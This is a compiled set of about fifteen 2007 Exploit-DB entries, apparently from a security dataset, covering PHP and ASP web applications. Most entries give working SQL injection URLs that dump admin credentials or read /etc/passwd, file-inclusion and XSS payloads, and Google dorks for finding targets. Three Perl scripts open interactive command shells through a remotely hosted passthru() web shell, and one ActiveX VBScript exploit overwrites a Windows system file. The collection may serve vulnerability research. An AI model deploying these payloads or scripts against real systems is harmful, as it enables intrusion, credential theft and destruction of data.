QLWD/code_shield huggingface dataset:
标题: phpTrafficA 1.4.2 - 'pageid' SQL Injection EDB-ID: 4100 CVE: 2007-3427 2007-3426 2007-3425 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-24 漏洞利用脚本: Application: phpTrafficA <= 1.4.2
Web Site: http://soft.zoneo.net/phpTrafficA/
Versions: all
Platform: linux, windows
Bug: injection sql



-------------------------------------------------------

1) Introduction
2) Bug
3) Proof of concept
4) Credits

===========
1) Introduction
===========

"phpTrafficA is a GPL statistical tool for web traffic analysis, written in php and mySQL.
It can track access counts to your website, search engines, keywords, and referrers that lead to you,
operating systems, web browsers, visitor retention, path analysis, and a lot more!"

======
2) Bug
======

injection sql



=====
3)proof of concept
=====


exemple of exploitation :
1)http://site.com/index.php?mode=stats&sid=THE_WEB_SITE_SID_HERE&show=page&pageid=-32+union+select+1,@@version/*

2)http://site.com/index.php?mode=stats&sid=THE_WEB_SITE_SID_HERE&show=page&pageid=-32+union+select+1,LOAD_FILE(0x2F6574632F706173737764)/*
--> load some file as /etc/passwd or /path/www/stats/Php/config_sql.php

?lang= is also vulnerable to xss attacks, and as Hamid Ebadi has mention $lang is also vulnerable to directory transversal

=====
4)Credits
=====

laurent gaffie
contact : laurent.gaffie@gmail.com

# milw0rm.com [2007-06-24] URL: https://www.exploit-db.com/exploits/4100
标题: SiteDepth CMS 3.44 - 'ShowImage.php?name' File Disclosure EDB-ID: 4105 CVE: 2007-3404 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-25 漏洞利用脚本: __________________________________________________________________________

[*] Sitedepth CMS 3.44 Local File Include LFI Exploit       
__________________________________________________________________________

[!] Application homepage :   http://www.sitedepth.com/
[!] Author               :   H4 / Team XPK 
[!] Contact              :   H4_XPK@hotmail.com
[!] Bug discovered       :   2006-11-07
[!] Bug published        :   2007-06-25

---------------------------------------------------------------------

Vuln. code: ShowImage.php


<?php

  include 'sitedepth.php';
  $content_type = 'image/jpeg';
  $filename = SD_DIRS_REPOS . '/html/' . $_GET['name'];
  $filename_show = $_GET['name'];
  header ('Content-type: ' . $content_type);
  header ('Content-Disposition: inline;    filename=' . $filename_show);
  readfile ($filename);   <-------------- BAD!   
?>

---------------------------------------------------------------------

[!] Exploitation : http://noobie.com/sitedepth/ShowImage.php?name=../../../../../../../../etc/passwd

---------------------------------------------------------------------

[!] Sometimes it`s time to give instead of taking :)

[!] Greetz to Angeldust & Streets and to rest of community.

# milw0rm.com [2007-06-25] URL: https://www.exploit-db.com/exploits/4105
标题: e107 < 0.7.8 - 'photograph' Arbitrary File Upload EDB-ID: 4099 CVE: 2007-3429 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-24 漏洞利用脚本: ###############################################################################################
#         ___   ___                         _
#        / _ \ / _ \                       | |
#   __ _| | | | | | |_ __  ___   _ __   ___| |_
#  / _` | | | | | | | '_ \/ __| | '_ \ / _ \ __|
# | (_| | |_| | |_| | | | \__ \_| | | |  __/ |_
#  \__, |\___/ \___/|_| |_|___(_)_| |_|\___|\__|
#   __/ |
#  |___/
###############################################################################################
#INFO:
#Program Title ################################################################################
#e107 <= 0.7.8 - Arbitrary File Upload
#
#Description ##################################################################################
#"e107 is a content management system written in PHP and using the popular open source MySQL 
#database system for content storage. It's completely free, totally customisable and in 
#constant development" - e107.org
#
#Script Download ##############################################################################
#http://e107.org/edownload.php
#
#Original Advisory ############################################################################
#http://www.g00ns-forum.net/showthread.php?t=9388
#
#Vuln #########################################################################################
#vuln discovered by clorox
#shoutz: z3r0, milf, blackhill, godxcel, murderskillz, kirby, katalyst, SyNiCaL, OD, pr0be, rezen, str0ke,
#fish, rey, canuck, ,vipsta, c0ma, grumpy, sick, trin, asdfhacks.com , a59, freeillwill.com, seven, tower, fury, 
#SS, <S>, Bernard, rst.void.ru, awesome andrew, and everyone else at g00ns.net
#
#Details ######################################################################################                         
#note: e107 is only vulnerable if it allows you to upload a photograph, avatars will not work.#
#to enable this an admin has to manually the settings in change e107_admin/users.php?options  #
###############################################################################################
#signup.php does not verify that a file submitted as an image is actually an image. it controls files uploaded
#only by the extension. files with a .php extension are blocked, but you can simply rename a php document to
#document.php.jpg and it passes the image verification and is uploaded.  to get the path of the file you uploaded
#you view your profile, view the source of the page and search for the name of the file and it will be there with 
#a few random numbers in it, and now all an attacker would have to do is simply call the evil script up and the
#server has been compromised.
#GoogleDork: "Please note: Any image uploaded to this server that is deemed inappropriate by the administrators will be deleted immediately."
#
################################################################################################

# milw0rm.com [2007-06-24] URL: https://www.exploit-db.com/exploits/4099
标题: bugmall shopping cart 2.5 - SQL Injection / Cross-Site Scripting EDB-ID: 4103 CVE: 2007-3448 2007-3447 2007-3446 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-25 漏洞利用脚本: --==+================================================================================+==--
--==+           BUG MALL SHOPPING CART 2.5 AND PRIOR SQL, XSS, DEFAULT LOGINS VULNERABILITYS       +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog (Excellent Work xprog thanks :D)


SCRIPT DOWNLOAD: http://www.bug-mall.org/downloads/bugmall.zip

ORIGINAL ADVISORY CAN BE FOUND HERE: http://www.h4cky0u.org/viewtopic.php?t=26834


SITE: http://www.bug-mall.org


DORK: Powered by Bug Software intext:Your Cart Contains


EXPLOITS:

EXPLOIT 1: http://www.site.com/BugMallPAth/index.php?msgs=[HTML, JAVASCRIPT]
EXPLOIT 2: The basic search box is vulnerable to sql injection, check examples for detail.
EXPLOIT 3: The script seems to have a default login, username:demo password: demo, we have tried this on several sites
and sucsefully logged in.


EXAMPLES:

EXAMPLE 1 ON DEMO: http://www.bug-mall.org/computerstore/index.php?msgs=<html><body>VULN BY<br>t0pP8uZz<br>h4cky0u.org</body><html>
EXAMPLE 2 ON DEMO: http://www.bug-mall.org/computerstore/index.php?msgs=<script>alert("XSS")</script>
EXAMPLE 3: Paste following into search box 
' and 1=2 UNION ALL SELECT 1,2,3,4,concat(username,':',password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102 from clientes/*


Note: Some servers may be running older version of MYSQL and make it harder to inject without UNION.

GREETZ: str0ke, GM, andy777, Untamed, Don, o0xxdark0o, & everyone at H4CKY0u.org, BHUNITED AND G0t-Root.net

FROM GM!: Kw3[R]ln get over it :D.


--==+================================================================================+==--
--==+           BUG MALL SHOPPING CART 2.5 AND PRIOR SQL, XSS, DEFAULT LOGINS VULNERABILITYS       +==--
--==+================================================================================+==--

# milw0rm.com [2007-06-25] URL: https://www.exploit-db.com/exploits/4103
标题: b1gbb 2.24.0 - 'footer.inc.php?tfooter' Remote File Inclusion EDB-ID: 4102 CVE: 2007-3401 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-25 漏洞利用脚本: # b1gBB (b1g Bulletion Board) (footer.inc.php) Remote File Inclusion
Vulnerabilities

# D.Script :
     http://switch.dl.sourceforge.net/sourceforge/b1gbb/b1gbb-2.24.0.zip

# V.Code :
     include $tfooter

# In :
     footer.inc.php

# Exploits :
http://www.name/path/footer.inc.php?tfooter=shell?


# Discovered by:
     Rf7awy
x59@hotmail.it

thanks
Mahmood_ali

# Homepage:
     http://www.Tryag.Com/cc

# Sp.Thanx To :
     Tryag-Team

# milw0rm.com [2007-06-25] URL: https://www.exploit-db.com/exploits/4102
标题: Pharmacy System 2.0 - 'index.php?ID' SQL Injection EDB-ID: 4095 CVE: 2007-3434 2007-3433 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-24 漏洞利用脚本: --==+================================================================================+==--
--==+             Pharmacy System v2 AND PRIOR SQL INJECTION VULNERBILITYS           +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog


SCRIPT DOWNLOAD: PAY SCRIPT


SITE: http://www.netartmedia.net/pharmacysystem/


DORK: N/A


EXPLOITS:

EXPLOIT 1: http://www.server.com/SCRIPT_PATH/index.php?mod=cart&quantity=1&action=add&ID=-1%20and%201=2%20UNION%20ALL%20SELECT%201,2,3,concat(username,password),5,6,7,8,9,10,11%20FROM%20pharma1_admin_users
EXPLOIT 2: http://www.server.com/SCRIPT_PATH/index.php?mod=cart&quantity=1&action=add&ID=-1%20and%201=2%20UNION%20ALL%20SELECT%201,2,3,concat(username,password),5,6,7,8,9,10,11%20FROM%20pharma1_users

EXAMPLES:

EXAMPLE ON DEMO: http://www.wscreator.com/pharma1/index.php?mod=cart&quantity=1&action=add&ID=-1%20and%201=2%20UNION%20ALL%20SELECT%201,2,3,concat(username,password),5,6,7,8,9,10,11%20FROM%20pharma1_admin_users

NOTE/TIP: Most sites will have diffrent table prefix, so table pharma1_admin_users probarly wont exist, to get the prefix
follow these steps, goto "http://server.com/index.php?page='" this should cause a mysql error and you will be able to
see the mysql query being used for the page variable. Simple replace the prefix from the error with then one in the injection
if you cant do that then dont use the exploit.

GREETZ: str0ke, GM, andy777, Untamed, Don, o0xxdark0o, & everyone at H4CKY0u.org, BHUNITED AND G0t-Root.net


--==+================================================================================+==--
--==+            Pharmacy System v2 AND PRIOR SQL INJECTION VULNERBILITYS            +==--
--==+================================================================================+==-- 

# milw0rm.com [2007-06-24] URL: https://www.exploit-db.com/exploits/4095
标题: dagger Web engine 23jan2007 - Remote File Inclusion EDB-ID: 4097 CVE: 2007-3431 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-24 漏洞利用脚本: ###Dagger-web engine(cal.func.php)Remote File Inclusion###

#download:
http://kent.dl.sourceforge.net/sourceforge/dagger/dagger_r23jan2007.
zip

#found by: katatafish (karatatata@hush.com)

#code:  (cal.func.php)
include($dir_edge_lang.'cal_lang.inc.php');

#exploit:
http://www.site.com/[path]/cal.func.php?dir_edge_lang=[SHELL]

#Thanks: str0ke

# milw0rm.com [2007-06-24] URL: https://www.exploit-db.com/exploits/4097
标题: NCTAudioEditor2 ActiveX DLL 'NCTWMAFile2.dll 2.6.2.157' - File Write EDB-ID: 4101 CVE: 2007-3400 类型: REMOTE 平台: WINDOWS 发布日期: 2007-06-25 漏洞利用脚本: <pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">------------------------------------------------------------------------------------------
 <b>NCTAudioEditor2 ActiveX DLL (NCTWMAFile2.dll v. 2.6.2.157) "CreateFile()"Insecure Method</b>
 url: http://www.nctsoft.com/products/NCTAudioEditor2/

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx (for example Sienzo DMM) are vulnerable to this exploits.

 Time Table: 2007/20/06 -> Bug discovered
             2007/20/06 -> Vendor notified by mail
             2007/21/06 -> No response, vendor notified by web form
             2007/22/06 -> No response from vendor
             2007/23/06 -> No response from vendor
             2007/24/06 -> No response from vendor
             2007/25/06 -> Public disclosure
------------------------------------------------------------------------------------------

<object classid='clsid:6ED74AE3-8066-4385-AABA-243E033F75A3' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  On Error Resume Next
   Dim MyMsg
   If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _
             "Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _
             "THIS EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _
             " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _
             " SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then
    test.CreateFile "c:\windows\system_.ini"
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"NCTAudioEditor2")
   Else
    MyMsg = MsgBox ("Nice, be safe!", 64, "NCTAudioEditor2")
   End If 
 End Sub
</script>

</span></span>
</code></pre>

# milw0rm.com [2007-06-25] URL: https://www.exploit-db.com/exploits/4101
标题: Sun Board 1.00.00 alpha - Remote File Inclusion EDB-ID: 4091 CVE: 2007-3370 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-22 漏洞利用脚本: # Sun Board 1.00.00 Alpha Multiple Remote File Inclusion Vulnerabilities

# D.Script :
      http://mesh.dl.sourceforge.net/sourceforge/sunboard/sunboard.zip

# V.Code :
      require $sunPath.'config.php';
      require_once $sunPath.'dbms/'.$dbtype.'.php';
# In :
      /include.php

# Exploits :
      /include.php?sunPath=Shell.txt?

# V.Code 2 :
      <?php require_once $dir.'/lib.php'; ?>

# In :
      /skin/board/default/doctype.php

# Exploits 2 :
      /skin/board/default/doctype.php?dir=Shell.txt?

# Discovered by:
      GoLd_M = [Mahmood_ali]

# Homepage:
      http://www.Tryag.Com/cc

# Sp.Thanx To :
      Tryag-Team & Asb-May's Group

# milw0rm.com [2007-06-22] URL: https://www.exploit-db.com/exploits/4091
标题: SerWeb 0.9.4 - 'load_lang.php' Remote File Inclusion EDB-ID: 4089 CVE: 2007-3358 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-21 漏洞利用脚本: #!/usr/bin/perl
#
# SerWeb 0.9.4- Remote FIle Inclusion
#
# This software, serweb, is a web interface for self-provisioning
# of users of SER SIP Server (http://www.iptel.org/ser/)
#
# Url: http://ftp.iptel.org/pub/ser/0.9.6/contrib/serweb-0.9.4.tar.gz
#
# Exploit:
#
http://site.com/[path]/load_lang.php?_SERWEB[serwebdir]=[Evil_Script]
#
# (c)oded and f0und3d by Kw3[R]Ln <office[at]rosecuritygroup[dot]net>
#
# Romanian Security Team .: hTTp://RSTZONE.NET :.
#
#
# greetz to all RST [rstzone.net] MEMBERZ
#
# Fuckz: GM [h4cky0u] -[bigest nub], me

use LWP::Simple;

print
"...........................[RST]...............................\n";
print ".
.\n";
print ".        SerWeb 0.9.4- Remote FIle Inclusion
.\n";
print ".
.\n";
print
"...............................................................\n";
print ".       Romanian Security Team -> hTTp://RSTZONE.NET
.\n";
print ".       [c]oded by Kw3rLN - office@rosecuritygroup.net
.\n";
print
"...............................................................\n\n";

my $kw3,$path,$shell,$conexiune,$cmd,$data ;


if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}

$path = $ARGV[0];
chomp($path);
$shell = $ARGV[1];
chomp($shell);

$path = $path."/load_lang.php";


sub usage(){
       print "Usage    : perl $0 host/path http://site.com/cmd.txt\n\n";
       print "Example  : perl $0 http://127.0.0.1
http://site.com/cmd.txt\n\n";
       print 'Shell    : <?php
ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>';
          }

while ()
{
print "[kw3rln].[rst] :~\$ ";
chomp($cmd=<STDIN>);
if ($cmd eq "exit") { exit(0);}

$kw3 = $path."?_SERWEB[serwebdir]=".$shell."?&cmd=".$cmd;
if ($cmd eq "")
 { print "Enter your command !\n"; }
else
 { $data=get($kw3); print $data ; }
}

# milw0rm.com [2007-06-21] URL: https://www.exploit-db.com/exploits/4089
标题: Powl 0.94 - 'htmledit.php' Remote File Inclusion EDB-ID: 4090 CVE: 2007-3371 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-22 漏洞利用脚本: #!/usr/bin/perl
#
# POWL - 0.94 - Remote File Inclusion Exploit
#
# Url: http://switch.dl.sourceforge.net/sourceforge/powl/powl_ontowiki-0.94.zip
#
# Exploit:
# http://site.com/[path]/plugins/widgets/htmledit/htmledit.php?_POWL[installPath]=[Evil_Script>:]
#
# (c)oded and f0und3d by kw3rln <office[at]rosecuritygroup[dot]net>
#
# Romanian Security Team .: hTTp://RSTZONE.NET :.
#
#
# why i publish this lame bugs? just boring all day..drinking beer.. i will publish sqli too but rfi`s are
# more searched than never :P
#
# greetz to all RST [rstzone.net] MEMBERZ

use LWP::Simple;

print "...........................[RST]...............................\n";
print ".  .\n";
print ".        POWL - 0.94 - Remote File Inclusion Exploit .\n";
print ".  .\n";
print "...............................................................\n";
print ".       Romanian Security Team -> hTTp://RSTZONE.NET .\n";
print ".       [c]oded by Kw3rLN - office@rosecuritygroup.net .\n";
print "...............................................................\n\n";

my $kw3,$path,$shell,$conexiune,$cmd,$data ;


if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}

$path = $ARGV[0];
chomp($path);
$shell = $ARGV[1];
chomp($shell);

$path = $path."/plugins/widgets/htmledit/htmledit.php";


sub usage(){
      print "Usage    : perl $0 host/path http://site.com/cmd.txt\n\n";
      print "Example  : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n";
      print 'Shell    : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>';
         }

while ()
{
print "[kw3rln].[rst] :~\$ ";
chomp($cmd=<STDIN>);
if ($cmd eq "exit") { exit(0);}

$kw3 = $path."?_POWL[installPath]=".$shell."?&cmd=".$cmd;
if ($cmd eq "")
 { print "Enter your command !\n"; }
else
 { $data=get($kw3); print $data ; }
}

# milw0rm.com [2007-06-22] URL: https://www.exploit-db.com/exploits/4090
标题: W1L3D4 WEBmarket 0.1 - SQL Injection EDB-ID: 4083 CVE: 2007-3133 类型: WEBAPPS 平台: ASP 发布日期: 2007-06-20 漏洞利用脚本: ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
Title    : W1L3D4 WEBmarket v0,1 SQL Injection Vuln

Author   : Crackers_Child

Contact  : cybermilitan@hotmail.com

Bug      : in urunbak.asp

Down     : http://www.aspdestek.net/uploads/20070518_092540_webmarket.rar
Site     :

Exploit  : http://site.com/script_path/urunbak.asp?id=25+union+select+0,1,parola,3,4,5,6+from+ayar

Note     : [ Aq Mahkemelik Oldk daha ne olsn :) (ci) ] [ cRA 2 Ay YOK sAhalarda]

www.dosyacek.com

/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 

# milw0rm.com [2007-06-20] URL: https://www.exploit-db.com/exploits/4083
标题: XOOPS Module wiwimod 0.4 - Remote File Inclusion EDB-ID: 4084 CVE: 2007-3289 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-20 漏洞利用脚本: # XOOPS Module WiwiMod v0.4 (spaw_root) RFI Vulnerability

# D.Script:
      
http://codigolivre.org.br/frs/download.php/1745/xoops2-mod_wiwimod_0.4_xavier_jimenez.zip

# V.Code :
      include $spaw_root.'config/spaw_control.config.php';
      include $spaw_root.'class/toolbars.class.php';
      include $spaw_root.'class/lang.class.php';

# In :
      /spaw/spaw_control.class.php

# Exploits:
      /modules/wiwimod/spaw/spaw_control.class.php?spaw_root=Shell.txt?

#D0Rk:
      allinurl:/modules/wiwimod/


# Discovered by:
      GoLd_M = [Mahmood_ali]

# Homepage:
      http://www.Tryag.Com/cc

# Sp.Thanx To :
      Tryag-Team & Asb-May's Team

# milw0rm.com [2007-06-20] URL: https://www.exploit-db.com/exploits/4084
标题: LAN Management System (LMS) 1.9.6 - Remote File Inclusion EDB-ID: 4086 CVE: 2007-3325 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-20 漏洞利用脚本: #!/usr/bin/perl
#
# LMS - LAN Management System 1.9.6 - RFI
#
# Risk : High (Remote Code Execution)
#
# Url: http://www.lms.org.pl/download/1.9/lms-1.9.6.tar.gz
#
# Exploit:
#   http://site.com/[path]/lib/language.php?_LIB_DIR=[Evil_Script]
#
# (c)oded and f0und3d by Kw3[R]Ln <office[at]rosecuritygroup[dot]net>
#
# Romanian Security Team .: hTTp://RSTZONE.NET :.
#
#
# greetz to all RST [rstzone.net] MEMBERZ, Nemessis, Slick, str0ke, SpiridusuCaddy, zbeng, ENCODED, # Death, Ciupercutza [LUV TEAM] and all i forgot !
#
# Fuckz: GM [h4cky0u] -[bigest nub]

use LWP::Simple;

print "...........................[RST]...............................\n";
print ".                                                             .\n";
print ".        LMS - LAN Management System 1.9.6 - RFI              .\n";
print ".                                                             .\n";
print "...............................................................\n";
print ".       Romanian Security Team -> hTTp://RSTZONE.NET          .\n";
print ".       [c]oded by Kw3rLN - office@rosecuritygroup.net        .\n";
print "...............................................................\n\n";

my $kw3,$path,$shell,$conexiune,$cmd,$data ;


if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}

$path = $ARGV[0];
chomp($path);
$shell = $ARGV[1];
chomp($shell);

$path = $path."/lib/language.php";


sub usage(){
       print "Usage    : perl $0 host/path http://site.com/cmd.txt\n\n";
       print "Example  : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n";
       print 'Shell    : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>';
          }

while ()
{
print "[kw3rln].[rst] :~\$ ";
chomp($cmd=<STDIN>);
if ($cmd eq "exit") { exit(0);}

$kw3 = $path."?_LIB_DIR=".$shell."?&cmd=".$cmd;
if ($cmd eq "")
 { print "Enter your command !\n"; }
else
 { $data=get($kw3); print $data ; }
}

# milw0rm.com [2007-06-20] URL: https://www.exploit-db.com/exploits/4086
标题: MiniBill 1.2.5 - 'run_billing.php' Remote File Inclusion EDB-ID: 4079 CVE: 2007-3306 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-18 漏洞利用脚本: =======================================================
MiniBill 2007-04-09 (v1.2.5) Remote File include Vulnerabilities
=======================================================
Found By : Abo0od , abod@islam-attack.com
=======================================================
Homepage: http://www.hack-teach.org/cc
=======================================================
Script Site : http://www.ultrize.com/minibill/index.php?page=download
=======================================================
File: /crontab/run_billing.php <= $config['include_dir']
========================================================
Exploit:
site.com/crontab/run_billing.php?config[include_dir]=Evil-script.txt?
=======================================================
greets to : www.islam-attack.com
=======================================================

# milw0rm.com [2007-06-18] URL: https://www.exploit-db.com/exploits/4079